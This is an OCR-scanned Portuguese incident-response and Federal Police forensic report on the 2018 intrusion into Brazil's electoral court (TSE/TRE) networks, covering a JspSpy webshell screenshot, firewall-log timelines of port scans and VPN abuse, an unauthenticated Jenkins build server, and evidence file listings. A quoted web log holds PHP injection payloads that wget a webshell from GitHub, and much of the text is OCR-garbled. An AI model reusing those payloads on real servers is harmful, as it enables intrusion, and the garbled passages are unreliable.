S web.config.bak e3fjaot 18:11 Arquivo BAY. 

LT webReadyview O2ji2jfomia 17Sa Arquivo ASPX 
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Tela 2 


T2 swoC em RAPSCINFIO3 - Conexão de Máguina Virtual Re Õ x 
Arquivo Ação Mídia Área de Transferência Exibir Ajuda 


& 0100 uu» Bot 

















Arquivo ES Organizar — 
<META ht = | 
Favoritos 
ES área de Trabaho Reconectando-se 
ú Downloads 


E Locais > Aconexão foipertida. Tentando 
reconectar se à sua sessão... 


3 Bibtotecas  Arede não eatá disponivel Aconexão Eid Documento HIP | 


[E Documentos pes eotrad aerido a Iodo estes Arquivo ASP 
Sh) Imagens Documento XMk 


+ Músicas 


Arquivo 1 
[|] Vídeos 


Arquivo 2 

=” Computador E Smakicons. xml backup by EV.3 2af0s/z015 20:09 Arquivo 3 

(O urtblockederror 23/11/2011 18:11 Arquivo ASP% 
ig Redo 18) web 30/08/2016 12:50 Arquivo CONFIG 

LU Web.Config.backup by Ev. 1 27/05/2012 11:39 Arquivo 1 

1 web.Config.badup by Ev.2 09/03/2014 17:28 Arquivo 

1 web.Config.backup by Ev.3 28/08/2015 20:09 — Arquivo3 

EI web.config.bak 23/11/2031 18:11 Arquivo BAK 

+ VwebReadyriew 02/12/2013 17:54 Arquivo ASPk 
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“Tela 3 


ER swDC em RAPSCINF 103 - Conexão de Máquina Virtual = O x 





Asquivo Ação Mídia Área de Transferência Exibir Ajuda 


DiODOO!nD:R5IR 


Lexeira Vinomp P-; War 


< | OscelLocal(C) 





Inicio Compartil Eni, 
. Le) Conexão de Area de Trabalho Remota o ' ger 
ETs sinfanias Ta (Meopliçrds Guga io, | ER de pele ORAS SAS raça Ja at o e des qUiISAr Disco Ló cal (C:) 


nous q! Conexão de Rida 
Firefox 5h Acesso rápido “ELO Área de Trabalho Remota 
Dl Áreade Trabalho |. = é SE ER atavE NAME dO md a dO O de arquivos 


4 dearquivos 
& Downloads * Geral Exibição Recursos Locais Experiência Avençado 


g - |dearquivos 

Documentos» | Coniguaçõesdetogm + | e arquivos 

E Imagens * (My Digte o nome do computador remoto. de isrquivOs é 
« 


EB Este Computador Computador. | URINA ” de arquivos 


EE) Apa de inhalho Meda uni Dna 


E a e de arquivos 
Documentos Suas credenciais serão exigidas quando você se conectar. 


| 


imartConsole 
É Downlosds 


5] Imagens ) Permair saivar minhas credenciais 
É) Músicas 
Cortigurações de conexão 


a nideoa: Ea o Salve as configurações da conexão atua! em um arquivo RDP 
| [ ou abra uma conexão salva. 


Re 


mento de Te... 





às Disco Local 


E3 Rede 


mento de Te... 





mento de Te... 


(É) Ocultar Opções 





EB) install 07/11/2007 08:03 Aplicativo 
fe) install 07/11/200708:00 Parâmetros de co... 


m. “ leis ara: Ea nd cg id De tai Je a - is 


33itens item selecionado 
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Tela 4 


EM swDC em RAPSCINFIO3 - Conexão de Méquina Virtual Ri õ x 
Arquivo Ação Mídia Área de Transferência Exibir Ajuda 


L'OD000O nD'BIIR 


É & início 


Localizar uma configuração po) 


Contas 


Suas informações 


Q, Opções de entrada CONTA DO TSE 


TRE-APAtse 
A, Outras pessoas Administrador 


Criar sua imagem 


E! Procurar um 














POR SS 
O E de pre agopois 1) 











E sWDC em RAPSCINF103 - Conexão de Máquina Virtual 
Arquivo Ação Mídia Área de Transferência Exibir Ajuda 


b|I0O0O0OjU pl SIR 


- x 
Q http://10.1.1.127:208D/teste/IspSpy jsp Pe [EM spspy CodzBy-Ninty x 5) Outlook Web App RR: 8 O 


AKRFI/):S080 (10.1.4.127) JspSpy Ver: 2009 
Logout | File Manager | DataBase Manager | Execute Command | Shetl OnLine | Back Connect | Port Scan | Download Remote File | CfipBoard | Remote Contra! | Port Map | JSP Envy 











java.sql. SQLException: lo exception: The Network Adapter could not establish the connection 
at oracle jdbc.driver.DatabaseError.throwSglException(DatabaseError.java:112) 
at oracle jdbc.driver.DatabaseError.throwSqlException(DatabaseError java: 146) 
at oracle jdbc.driver.DatabaseError.throw SqlException(DatabaseError java:255) 
at oracle jdbc.driver. TáCConnection.logon(T4CConnection.java:387) 
at oracle.jdbc.driver.PhysicalConnection.<init>(PhysicalConnection.java:439) 
at oracle.jdbe.driver. F4CConnection.<init>(T4CConnection.java:165) 
at oracle jdbc.driver.T4CDriverExtension.getConnection(T4CDriverExtension.java:35) 
at oracle jdbe.driver.OracleDriver.connect(OracleDriver.java:801) 
at java.sql.DriverManager.getConnection(DriverManager.java:620) 
at java.sql.DriverManager.getConnection(DriverManager.java:200) 
at org.apache.jsp.JspSpy jspSDBOperator.<init>(JspSpy jsp.java:72) 
at org.apache.jsp.JspSpy jspSDbcinvoker.invoke(JspSpy jsp.iava:819) 
- atorg.apache jsp.JspSpy jsp. jspService(JspSpy jspjava:2392) 
at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBasejava:70) 
at javax.servlet.http.HttpServlet.service(Http Servlet.java:717) 
at org.apache.jasper.serviet JspServietWrapper.service(JspServietWrapper.java:377) 
at org.apache.jasper.servlet.JspServletserviceJspFile(JspServiet.java:313) 
at org.apache,jasper.servletJspServiet.service(JspServiet.java:260) 
at javax.servlet.http.HttpServlet.service(HttpServlet.java:717) 
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) 
at org.apache.catalina.core.ApplicationFiiterChain.doFilter(ApplicationFilterChain.java:206) 
at org.apache.catalina.core. StandardWrappervalve.invoke(StandardWrapperValve java:233) 
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextVaive.java:191) 
at org.apache.catalina.core. StandardHostValve.invoke(StandardHostValve.java:127) 
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) 
at org.apache.catalina.core. StandardEngineValve.invoke(StandardEngineValve.java:109) 
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:298) 
at org.apache.coyote.http11.HttpffProcessor.process(Http11Processor.java:852) 
at org.apache.coyote.http11.Http11Protoco!SHttp1tConnectionHandler.process(Http11Protocol.java:588) 
at org.apache.tomcat.util.net.JloEndpoint$Worker.run(JloEndpoint.java:489) 
at java.lang.Thread.run(Thread.java:636) 


Copyright (C) 2009 http;/Awww For com! [TO0!s.Net] Ait Righis Reserved. 
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A partir desse relato observamos a instalação de um webshell (WebShellJspSpy Private Codz By — 
Ninty.jsp) em algumas máquinas de TRE, mais notadamente TRE-SP e TRE-BA. 


Após análise dos logs do Checkpoint, firewall existente entre as redes do TRE-PE e TSE, foram 
verificados os seguintes indícios e fatos: 


No dia 18.04.2018 às 18:37:18 e às 19:03:45 houve acessos da máquina 10.12.2.29 à máquina 
10.8.8.188 via protocolo rdp; 


No dia 18.04.2018 a partir das 19:09:17 houve escaneamento das portas 80, 443, 3389 e 8080 em 
toda rede 10.8.0.0 a partir da máquina 10.12.2.29. Esse procedimento acabou às 20:45:47; 


No dia 18.04.2018 às 22:22:59 a máquina 10.12.2.29 tentou acessar as portas 80, 443, 3389 e 8080 
no endereço 10.8.0.0; 


No dia 19.04.2018 às 17:07:36 houve conexão na porta UDP 52638 na máquina 10.8.8.87 (ATA) a 
partir da máquina 10.12.2.29; 















No dia 19.04.2018 às 19:08:52 houve conexão na porta TCP 8080 na máquina 10.8.1.2 (pe2) apartir 
da máquina 10.12.2.29; 


No dia 19.04.2018 às 19:10:55 houve tentativas de conexão na porta TCP 22, 80 e 8080 na máquina 
(10.8.1.11) PEMAILOI a partir da máquina 10.12.2.29 com várias interações na porta 8080; 


O endereçamento de rede 10.12 pertence à rede do TRE-PB. Ao investigar a origem do tráfego em 
10.12.2.29, descobrimos tratar-se de uma conexão VPN disponibilizada para a empresa Digitro 
(terceirizada que dá manutenção nas centrais telefônicas do TRE-PB). Observando os logs do firewall 
do TRE-PB no momento do ocorrido, foi possível obter o endereço 177.165.110.249. 
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No dia 19.04.2018 às 19:52:24 houve tentativas de conexão na porta TCP 8080 na máquina (10.8.1.11) 
PEMAILO1 a partir da máquina 10.12.2.7 na porta 8080; 


No dia 19.04.2018 às 21:03:31 houve uma única tentativa de conexão na porta TCP 1521] (ORACLE) 
na máquina (10.8.1.84) VULCAN — SERVIDOR DE BANCO DE DADOS DE APLICAÇÕES 
LOCAIS a partir da máquina 10.1.1.215 (spmalote01 .tre-sp.gov.br); 


No dia 19.04.2018 das 20:04:07 até 21:13 houve conexão na porta TCP 1521 (ORACLE) na máquina 
(10.8.1.84) VULCAN — SERVIDOR DE BANCO DE APLICAÇÕES LOCAIS a partir da máquina 
10.16.140.49 (plank.tre-rn.gov.br) com intercaladas conexões na máquina (10.8.1.11) PEMAILO1 
a partir da máquina 10.12.2.29 e da máquina 10.12.2.7; 


Ainda no dia 19.04.2018, a máquina 10.12.2.29 acessou as máquinas 10.8.1.25, 10.8.1.29, 10.8.1.54, 
10.8.1.56, 10.8.1.107, 10.8.1.113 às 22:04:05 com interação entre as máquinas indicando uma 
possível tentativa de invasão. Por volta das 22:40:08, a máquina 10.12.2.7 começou um scan na porta 
3389 na rede 10.8, terminando por volta das 04:36:43 do dia 20/04. 


No dia 20.04.2018 às 6:29, a máquina 10.12.2.29 tentou acesso via porta 3389 as máquinas 10.8.8.12, 
10.8.5.18, 10.8.3.49, 10.8.2.68, 10.8.7.137 e 10.8.12.138. Esse acesso teve mais de uma interação, 
indicando uma possível tentativa de comprometimento dessas máquinas. 


Por volta das 08:02:18, a máquina 10.12.1.29 começou um scan da rede 10.108 para as portas 8080 
e 3389. Esse procedimento acabou às 09:30:37. 


Às 10:58:11 do dia 20.04.2018 a máquina 10.12.1.29 tenta conexão nas portas 8080 e 3389 para o 
endereço 10.108.0.0; 








"Às 10:59;54 do dia 20.04.2018, a máquina 10.12.2.7 começa um escaneamento na rede 10.8*pe id 


porta 3389, terminando às 13:01:03. 


Durante o dia 20/04/2018 percebemos ainda várias tentativas de acesso não identificados da máquina 
10.12.2.7 a máquinas de nossa rede usando a porta 3389 o que, pela diferença no tempo de acesso 
nos leva a crer que seja algum programa robô. O acesso durou até as 13:15:50 do dia 20/04/2018. 


No dia 20.04.2018 às 15:12:27 houve tentativa de escaneamento a partir da máquina seresl2 
(10.8.15.13) de nossa administração para o IP da máquina do TRE-RN 10.16.140.4 com o intuito de 
tentar descobrir mais informações sobre a máquina em uso. O escaneamento de portas para este IP 
ocorreu logo após descobrirmos o acesso à máquina no nosso servidor de banco pela máquina 
plank.tre-m.gov.br. Depois vimos que o IP estava errado pois o IP correto da plank.tre-m.gov.br era 
o 10.16.140.49. 


Dia 20.04 a partir das 23:44:04 percebemos no log outra tentativa de escaneamento de portas na rede 
efetuada a partir da máquina 10.7.10.28, sendo especificamente as portas: 80, 443, 8080, 8081, 8180, 
21, 3389 nos nossos firewall checkpoint (IP's 172.16.8.201, 172.16.8.202, 172.16.8.203, 
172.16.8.204), em um dos firewalls sonicwall (IP's 172.16.8.222) e na máquina piedade (IP: 
172.16.8.218), nosso firewall para a rede externa. 


Dia 20.04 a partir das 23:44:08 houve uma série de conexões na porta 443, provenientes da máquina 
10.7.10.28, aos firewalls checkpoints e à máquina piedade. Avaliando os logs da própria piedade no 
horário, vimos que os acessos se deram com o objetivo de achar vulnerabilidades no PHP ou em 
algum outro serviço web, porém, segundo consta no log da máquina, não conseguiram ser achadas. 
As conexões foram até dia 20.04 às 23:45:53. 


A partir das 00:15:16 do dia 21.04 registramos duas tentativas de conexão pela porta 445 da máquina 
10.12.2.7 nos IPºs 10.181.197.85 e 10.8.69.60. Tais IPºs não existem em nossa rede, o que nos causou 
estranheza. 


Também foi registrado às 01:30:00 do dia 21.04 acesso do IP 10.12.2.29 à porta 80 do IP 10.8.1.209, 
correspondente à ILO (porta de manutenção) de um de nossos servidores que foi desconectada no dia 
23.04. 


Às 1:32:41 do dia 21.04 registramos outro escaneamento da máquina IP 10.12.2.7 em várias máquinas 
de nossa rede local windows pelas portas 3389, sendo finalizado o acesso às 1:34:58 do dia 21.04. 


A partir de 01:35:29 do dia 21.04 até 03:32:27 do dia 21.04 verificamos um outro escaneamento de 
rede partindo do IP 10.7.10.28 para a rede 10.181.0.0 (zonas eleitorais) nas portas 8080, 3389, 21, 
8180 e 8081. 


Após o escaneamento uma tentativa de conexão no dia 21.04 às 06:31:42 na porta 445 da máquina IP 
10.108.16.39 vindo da máquina 10.12.2.7. 


No dia 21.04 a partir das 07:50:45 até 08:07:47 novo escaneamento na porta 3389 a partir da máquina 
10.7.10.28 na rede 10.181.0.0 e sub-redes. 


No dia 21.04 a partir das 09:22:48 até 09:27:13 a máquina 10.7.10.28 escaneou as portas 8000 até 
8999 nos firewalls checkpoint 172.16.8.201, 172.8.16.202 e 172.16.8.203 e nos IP?s 172.16.8.204 a 
172.8.16.217. 














No dia 21.04 a partir da máquina 10.7.10.28 das 09:27:13 até 09:28:47 escaneou os IPºs 172.16N 218 
(piedade) até o IP 172.16.8.223 nas portas 8000 até 8999. Ei 


No dia 21.04 da máquina 10.7.10.28 das 09:30:44 até 09:32:14 tentou conexão à rede 172.16.8.1 a 
172.16.8.223 na porta 3389 a partir da máquina. 


No dia 21.04 a partir da máquina 10.7.10.28 das 09:44:22 até 09:58:58 tentou conexão em toda a rede 
10.8.0.0 a partir da porta 3389, sendo desconectado após retirarmos o acesso do TRE-PE à rede do 
TSE. 


Por fim buscou-se identificar quais portas de entrada foram utilizadas pelo atacante. Além da VPN 
do TRE-PB, conforme relatado acima, foi identificado um ponto de entrada (talvez o primeiro) a 
partir de uma máquina no TRE-RN. 


O TSE disponibiliza máquinas virtuais para o TRE-RN, sendo que o TRE optou pela implementação 
deu m proxy reverso nesse servidor disponibilizado no TSE. Enviando comandos para esse 
equipamento, o atacante conseguiu acesso a um servidor do TRE-RN, a partir do qual iniciou esses 
ataques. 


Analisando os logs do servidor web, observou-se que os primeiros acessos ocorreram no dia 16 de 
abril de 2018. 


- UG/Apr/200H0: 19:24:28 -0300] "GET ASAS Lemass AL LOSUS AE HITP21..10 200 4588 P=0 
Dr 


elRA leds 16.7 - €? system uget htips:2/raw.g ithubusercontent. pra 


À '<? system('wjet https://ri 
14015.153.176.7 [1670prz2 j 
Epbp/b324k2b374k-2.2.min.php -O Sum sede res -pagshelt. nie ) » 
tos. 153. a 7 — 116/0pr/2018:19:24:34 -B388) “POST /siste 

p ?ak/b3P4k-2.2.min. php 
E195.153. 17% ? - - [16/Apr/2818:19:24:35 -B388] “GET Zfavicon.i 
Eno baP aee ha rm 2.2.miv.php “O 214suebZstre- cpashel. php'D:2>" 


Es 176. ? Ra e 19:24:30 -B3881 “POST ASAS temAsA! ni tosoS As HTTPZ1. 1 


Z/tre-! parse ti. php” ): E 


5 -B3881 “POST /sistemas/FaltososZ? HTTP21,1" 


hp -O fuansrasbartre- pastel Ls ALA 3: Eca 


HTTP21.1" 404 255 “er 


HTIPZ1.1 484 255 
b HITERZL.10 J81 03 
! po Pd Rita pazsh Pp 
tis. 153.176.7 Il B3981 “GET sis 
Er/php/bIP4k/h37Ak E. neo min.php -D 2aavuebZ/tre- 


s/faltosos/? HTTP/1.1" 


ico HTTP21.1º 484 255 “et 


“or “Er systemQ 


bz HTFP21.1º 298 541 


a "ea RAE wget Ittps:2/raw. gitabuso reontent. .com/tennezuebsho VNomasterzÃ 


288 4626 “http://apps3.tre-rn. «brrsistemas/Taltosos/?" 
O 2umawebZ/tre -pazshedl.php'D:7>" . 
<? system("uget https://raw.g iLhubusercontent .comtennczucbshel Izmaster,| 


<? system get h 


288 4659 “http:/2/apps3.tre-rn. jus .br/sistemas/faltosos/7" “ 
O 200avuchZztre-pazshelL.php'D:7>" | 
“47 system(' wet https:2/rau.g ithubusercontent .com/tenncrusbshe | IZmasterZ 


<? system uget hh 
288 12263 "=" “<? systemt'wget https:/22raw.githubusercontent .com/tennczuebshh 
wet https:/2raw,githubusercontent com tenntezuebshel Izmaster/] 
"jet https://raw.githubusercontent .comtennezwsbshe | Lmaster/) 
“get https:z2raw.githubuserenntent .com/tennezesbshel masters ; 
systemCujel hlLtps:2/raw githubisercontent .com/Lennczwebshe | LZmaster 


“4? system wget hLtps:2/raw.githubusercontent .comtenncrwebshe] IZmaste 








Existe uma cópia desta máquina virtual encaminhada junto a este relatório. A mesma está sob o 
nome de trernrack.zip. 


Por fim, durante o período de análise, observou-se conexões indevidas à VPN de acesso do TSE. Uma 
dessas conexões foi realizada com o usuário do Coordenador de Infraestrutura do TSE. A senha desse 
usuário não era trivial e utilizada exclusivamente no ambiente do TSE. 
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O atacante tentou realizar portscan a partir dessa conta. 
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“Pesquisando nos logs do firewall, identificou-se que outros usuários também foram acessades.a 
partir do mesmo IP (que pertence à VPN do NordVPN). 


(Desreo (O) meme 
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SARA pa aa SD UPE PRO SER SE SST ERA RE Ee É dio . Argus riff dido loteria 


Devido à não trivialidade da senha do coordenador, e de outros usuários terem sido comprometidos, 
cremos que a base de usuários do AD pode ter sido comprometida e que o atacante está quebrando 
as senhas para posterior uso. 


Relação com o Evento de Setembro de 2018. 


Em reportagem divulgada no site Tecmundo, em 07 de novembro de 2018, cujo texto é transcrito 
abaixo: 


“Com isso, obtive milhares Garoa rede tas 
E (intranet) e, por vários 
de códig os-fon tes, meses, fiquei explorando a 
documentos sigilosos e até rede, inclusive entrando em 
. . diversas máquinas 
mesmo credenciais diferentes do TSE, em 


busca de compreender o 

funcionamento dos 
sistemas de votação”, escreveu a fonte. “Com isso, obtive milhares de códigos- 
fontes, documentos sigilosos e até mesmo credenciais, sendo login de um ministro 
substituto do TSE (Sérgio Banhos) e diversos técnicos, alguns sendo ligados à alta 


cúpula de Ti do TSE, tigado ao pai das urnas (Giuseppe Janino)”. 








O atacante descreve que possuiu acesso à rede interna, por vários meses, entrando em À ersas 4 


“máquinas. Este relato condiz com o que foi observado em abril deste ano. 


Além disso ele descreve que houve troca de e-mails entre os técnicos do TSE e que os acessos de 
VPN foram cortados, o que de fato ocorreu. 


“Passadas algumas semanas em que estive utilizando os equipamentos de rede do 
TSE, notei via emails dos técnicos da ST! que os mesmos notaram tráfego suspeito 
(porque utilizei programas de scan na rede)”, explica a fonte. “Fizeram uma perícia 
para detalhar como o invasor conseguiu obter acesso ilegal à rede, mas mesmo 
com todos estes procedimentos de segurança que dotaram, incluindo a alteração 
de senhas de todas as contas, acabou não sendo suficiente para interromper meu 


acesso aos emails e também para a rede interna”. 


"Somente 0 código-fonte A fonte também indicou 
que durante a votação de 

descomp actado (GEDAI- primeiro turno, no dia 07 

U E), U | tra pa ssa 3G B S a de outubro, os técnicos do 
TSE “cortaram acesso VPN 


e ao Correio, talvez para 


justificar que as urnas não possuem conexão à internet”. 


Observa-se ainda o relato de que ele obteve acesso à senha do Ministro Sérgio Banhos e também a 
senha de alguém ligado ao Secretário de Tecnologia da Informação. Conforma relatamos acima, é 
bastante provável que, em Abril, o atacante tenha conseguido copiar a base de dados do AD, e 
posteriormente tenha tentado quebrar as senhas de acesso, conseguindo a senha do Ministro Sergio 
Banhos e também do Coordenador de Infraestrutura, Cristiano Andrade, que possivelmente é a pessoa 
descrita na reportagem como ligada ao Secretário de Tecnologia da Informação, Giuseppe Janino. 


Ao tomar conhecimento da reportagem, esta equipe buscou verificar como o acesso aos códigos 
fontes da uma poderia ter ocorrido, uma vez que as fontes ficam armazenados em um servidor 
protegido. 


Durante esta pesquisa foi localizado o servidor 10.30.1.229, que possui um portal da Seção de Voto 
Informatizado, SEVIN. Neste portal havia a indicação de link de dois servidores de integração 
contínua, um em Windows e outro em Linux, conforme imagem abaixo. 











“ € 3 C O Nãoseguro| 10.30.1229 


| Você está no servidor tsesevin-01 da SEVIN | 


Serviços disponíveis 


ÉM wi SEVIN - Página da base de conhecimento da SEVIN 
(E Ma ietam SEVIN - Página de planejamento da SEVIN ) 


g Windows - Jenkins - Servidor de Build das aplicações Windows 








g Linux - Jenkins - Servidor de Build das aplicações Linux ; 
4 Verificador de arquivos hash ) 


doxygen Documentação do projeto UENUX 


CIO mas Documentação do projeto GEDAI-UE 





Documentação publicada na SEVIN 


* DOXGEN SAVP - Documentação gerada pelo doxgen dos fontes do SAVP 
* DOXGEN LIBDESKTOP - Documentação gerada pelo doxgen dos fontes da LIBDESKTOP 
* DOXGEN LIBSEVIN - Documentação gerada pelo doxgen dos fontes da LIBSEVIN 


Serviços Desarivados 
e UENUX - build3w - Página de acompanhamento do Builder do UENUX - Desativado 
* XPlamner SEVIN - Página de planejamento da SEVIN - Desativado a partir 2011 
e Desktop - CruiseControl - Servidor de Build das aplicações Windows 
* Desktop - DashBoard - Interface grafica do Servidor de build Windows 
* Linux - CruiseControl - Servidor de Build das aplicações Linux 
* Linux - DashBoard - Interface grafica do Servidor de build Linux 


Estes equipamentos eram responsáveis pela compilação dos softwares, em sua versão Windows e na 
versão Linux. Em execução neste equipamento estava o Jenkins, configurado pela própria equipe da 
Sevin e sem qualquer autenticação. Este servidor estava acessível para toda a rede e permitia a cópia 
de do código fonte. O conteúdo das informações ali dispostas bate com o apresentado na reportagem. 
Por fim, também foram apresentados na reportagem documentos e outras informações constante em 
contas de e-mail, o que também foi acessado de maneira indevida, a partir de abril. 
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SERVIÇO PÚBLICO FEDERAL 
MISP - POLÍCIA FEDERAL 
COORDENAÇÃO-GERAL DE POLÍCIA FAZENDÁRIA 
SERVIÇO DE REPRESSÃO A CRIMES CIBERNÉTICOS 


INFORMAÇÃO Nº 002/2019-UTC/SRCC/CGPFAZ/DICOR/PF 
DO: PCF FLAVIO SILVEIRA DA SILVA 


PARA: Chefe do GRCC/DRCOR/SR/PF/DF 
ASSUNTO: RELATÓRIO DE ANÁLISE DE ALTA TECNOLOGIA 


Senhor Chefe, 


A presente Informação trata das informações encaminhadas pelo Tribunal Superior 
Eleitoral, referentes ao processo SEI nº 08200.021554/2018-33, sobre possível invasão aos 


sistemas informatizados daquele Tribunal. 


Foram encaminhadas a esta UTC/SRCC/CGPFAZ/DICOR/PF 02 (duas) mídias 


digitais, descritas abaixo: 


e ITEMO!: 


01 (um) disco rígido externo, marca MULTILASER, cor prata, com capacidade 
nominal de 120GB; 


e ITEM 02: 


01 (um) pendrive sem marca aparente, cor preta e prata, com capacidade nominal 


de 8GB. 


O item 01 continha os seguintes arquivos listados abaixo: 

















ad0e9b60-bbbi-4dbEB7A5-96a2d2cdbSiT rar [57280c3aJEibindada250ena7 3532 
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INFORMAÇÃO Nº 002/2019-UTC/SRCC/CGPFAZ/DICOR'PF (continuação) 


Segundo infoemuções fornecidas pelo TSE, os arquivos “syslog sonicwall.tar.gz” 
e “usr digitro.tar.gz” contem registros de log de firewall oriundos da rede de computadores do 
TRE/PB. O arquivo “trernhack.zip” contém uma imagem de máquina virtual oriunda do 
TRE/RN, o qual poderia ser o primeiro ponto de entrada não autorizado à rede dos TREs / TSE. 
Já o arquivo “c2589eae-bd75-4278-9960-4142ecb26lal rar” contém uma imagem de disco 
usada por máquina virtual (VMDK). Não foi possível abrir o arquivo “ad0e9b60-bbbl-4dbf- 
87a5-96a2d2edb317.rar” para verificar seu conteúdo. 


Já o item 02 apresentava os seguintes arquivos: 
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ne a É É 





| 


Neristiano andradelAutenticação 04.xIs ce0217d3e5fe2aZea6ace89789e51122 
Neristiano andradelAutenticação 05.xIs a22514c9baf090a0dlb72914ecfffbaZ 


A mo ú 
cristiano andradelAutenticação 06.xIs 65d68f8e4993alal7436af718855999e 
Neristiano andradelAutenticação 07.xIs 9fbe5925cb9ld86df7al0fe3dd653181 
Neristiano andradel Autenticação 08.xls 342a283ee125978568cccd318al2az58 

















74b34clblaff9cf8103cC395c9190d868 
d76b1ab613a13€ea334dabe7f5a897c66 
7ce8a05867d2e8df3287a1e198f39980 
7cb88392ae36a3b8188a9bc213753ae7 
bfb58b28c3ec72c70ccbc5c43b6b7dfa 
ca3b98eeb128826642581d43bflec643 
ece943bfdd565589c6b1960fe065eaef 
8dla65cbf36d05c43a640c23adfbd048 
9837£08€89a56ca69011535dec3b7f32 


d9d24b128dedb8995cld964d7ed3f58f 


á 


Neristiano andradeYCorreioEletronico 11.xls 


cac3249b9e74bb95e7d3e5712325b8ee 






Weristiano andradeiDetalhe do Firewall E b73fd2f4- 
bl5e-4fe7-8d9d-a834fe6497D JPG 
Neristiano andradeIMG 8080 - Diálogo Marcelo 


Carneiro (chefe da rede) com Cristiano Andrade 











9d3a10d2ad54461c84b79a8007afeaeb 


(Coordenador de Infraestrutura).PNG 
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c2061f61862a348b2ceec0297d735e9b 





Neristiano andradeIMG 8081 - Diálogo Marcelo 














Carneiro (chefe da rede) com Cristiano Andrade 






(Coordenador de Infraestrutura).PNG 






Neristiano andradelServidorDeArquivos 05.xIs 
Neristiano andradeiServidorDe Arquivos 06.xIs 
Neristiano andradeiServidorDeArquivos 07.xls 
Neristiano andradeiServidorDeArquivos 08.xls 
Weristiano andradelServidorDeArquivos 09.xIs 
Neristiano andradeiServidorDeArquivos 10.xIs 
Neristiano andradeiServidorDeArquivos 11.xls 


Weristiano andradeYTela do Firewall - 7a4778bb- c49e95d0d73099866358de89253£965b 


0ce7-484b-b824-ae 1 6cdf937b7.JPG 

Nsergio-banhoslAutenticação 06-09.xIs 
Nsergio-banhosiCorreioEletronico 05-1.xls 
Nsergio-banhosiCorreioEletronico 05-2.xls 
Nsergio-banhosiCorreioEletronico 06-1.xls 
Wsergio-banhosiCorreioEletronico 06-2.xls 
Nsergio-banhosiCorreioEletronico 07-1.xls 
Wsergio-banhosiCorreioEletronico 07-2.xls 
Nsergio-banhosiCorreioEletronico 08-1.xls 
Nsergio-banhosiCorreioEletronico 08-2.xIs 
Nsergio-banhosiCorreioEletronico 09-1.xIs 
Nsergio-banhosiCorreioEletronico 09-2.xIs 
Nsergio-banhosiCorreioEletronico 10-1.xls 
Nsergio-banhosiCorreioEletronico 10-2.xls 
Nsergio-banhosiCorreioEletronico 11.xIs 
Nsergio-banhosiServidorDeArquivos 05-08.xIs 
Nsergio-banhosiServidorDeArquivos 08-11.xls 


Wsergio-banhosN Visita Varonis 9-11- ae68c731022babic074f4a4fe3e4ab57 












































20181Autenticação do AD no contraturno 1-abr 8- 


nov.xIs 






Nsergio-banhosNVisita Varonis 9-11-2018MEventos | 73d3732882a06a7fac5a9a6ca0612a39 


no AD 1-abr 8-nov.xls 





uu 





INFORMAÇÃO Nº 002/2019-UTC/SRCC/CGPFAZ/DICOR/PF (continuação) UG 


Wsergio-banhosNVisita Varonis 9-11-2018iMailbox |c3f89c998d26e724c0cfb5674c4b83be 
Logon 1-abr 8-nov.xls 

Wrodrigo coimbral Autenticação 05-07.xIs e47a927fb63929ca813e4b20f1d53737 
Wrodrigo coimbralAutenticação 08-09.xIs eb3cc2614406526deJa0dd22fe7b13e5 
Wrodrigo coimbralAutenticação 10-11.xIs 8338b2ddel8df5d6f2fb66caef4754cd 
Wrodrigo coimbraiCorreioEletronico 05.xIs aS1d64451ce381eaSeeb385199bf4d38 
Wrodrigo coimbraiCorreioEletronico 06-1.xls d5b47c50a21 fa6fddd53be7362cb0c47 
Wrodrigo coimbraiCorreioEletronico 06-2.xIs 2187c6bb92f6f30alab31d9c74883565 
Wrodrigo coimbraiCorreioEletronico 06-3.xIs a01t7204e5908b30eb9f702d79645d46 
Wrodrigo coimbraiCorreioEletronico 07-2.xIs 416e59935ff3259ffd3cbabbf7c862£8 
Wrodrigo coimbraiCorreioEletronico 07-3.xIs 823c340892072de90lceded9e168199c 
Wrodrigo coimbraiCorreioEletronico 07.xls 2381£332605012d706d1526a831b359e 
Wrodrigo coimbraiCorreioEletronico 08.xls 2b0766becb58b6lec4a91dOdel138bac 
Wrodrigo coimbraiCorreioEletronico 09.xls 50bd84d08dbb859766041753a930413d 


Wrodrigo coimbralCorreioEletronico 10.xIs bb9af6ceb84cd9e791254df2aBBacl6f 


Wrodrigo coimbraiCorreioEletronico 11.xls ee8e6af7cl541321a90af0a3a684734a 
Wrodrigo coimbralServidorDeArquivos 05-1l.xls |77521cc96aeae2064d2Zbcfdce8672179 


WRELATÓRIO.docx £007b510$4d3165456926548bc9bde37 





Os arquivos do item 02 com extensão “xls contem registros de logs de autenticação, 


correio eletrônico e servidor de arquivos dos usuários “Sérgio Banhos”, “Rodrigo Coimbra” e 


“Cristiano Andrade”. Também foram encaminhadas imagens de capturas de tela, ven] 


um relatório produzido pelo TSE para auxiliar na elucidação dos fatos. y, 
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ANÁLISE 


No escopo deste Relatório, foram analisados o arquivo do item 01 
“usr digitro.tar.gz” e os arquivos do item 02 com extensão “xls”, exceto aqueles presentes na 
pasta “Nsergio-banhosNVisita Varonis 9-11-2018”. Para isso, tais arquivos foram tratados, 


indexados e analisados por meio das ferramentas ElasticSearch, Logstash e Kibana (ELK.). 


Foi necessário converter os arquivos “xls” para a extensão “csv”, para que 
pudessem ser importados pelas ferramentas supracitadas. Vale ressaltar que alguns arquivos 
“xls” apresentavam cabeçalhos com campos diferentes, e que algumas linhas desses arquivos 
não correspondiam ao padrão observado no cabeçalho, provavelmente devido à presença de 


caracteres especiais não tratados. 


Após a importação dos referidos arquivos de log, foram geradas visualizações na 
ferramenta Kibana, que permitiram ter uma visão geral dos dados fornecidos, resultando nas 


análises a seguir: 


e ITEMOI: 


O arquivo “usr digitro.txt”, extraído do arquivo “usr digitro.tar.gz”, continha 


41.717.013 linhas de registro (“logs”), as quais foram importadas e posteriormente analisadas. 


Os registros de log estão compreendidos entre os períodos de 02/04/2018 a 
23/04/2018. 


Entre as linhas importadas, verificou-se a existência de registros de acesso dos 


seguintes usuários: 


4 |USUÁRIO | [REGISTROS | 
(2 | TRE-PBpedrofn | I98 
3] TRE-PBmario 00 6 















| 6 | TRE-PBlagmtargino 


Não foram detectadas anormalidades nos acessos dos usuários 2 a 7. Em relação 






ao usuário 1 (“digitro”), foram obtidos os 10 endereços IP de origem (campo a 


recorrentes nos registros analisados: — 










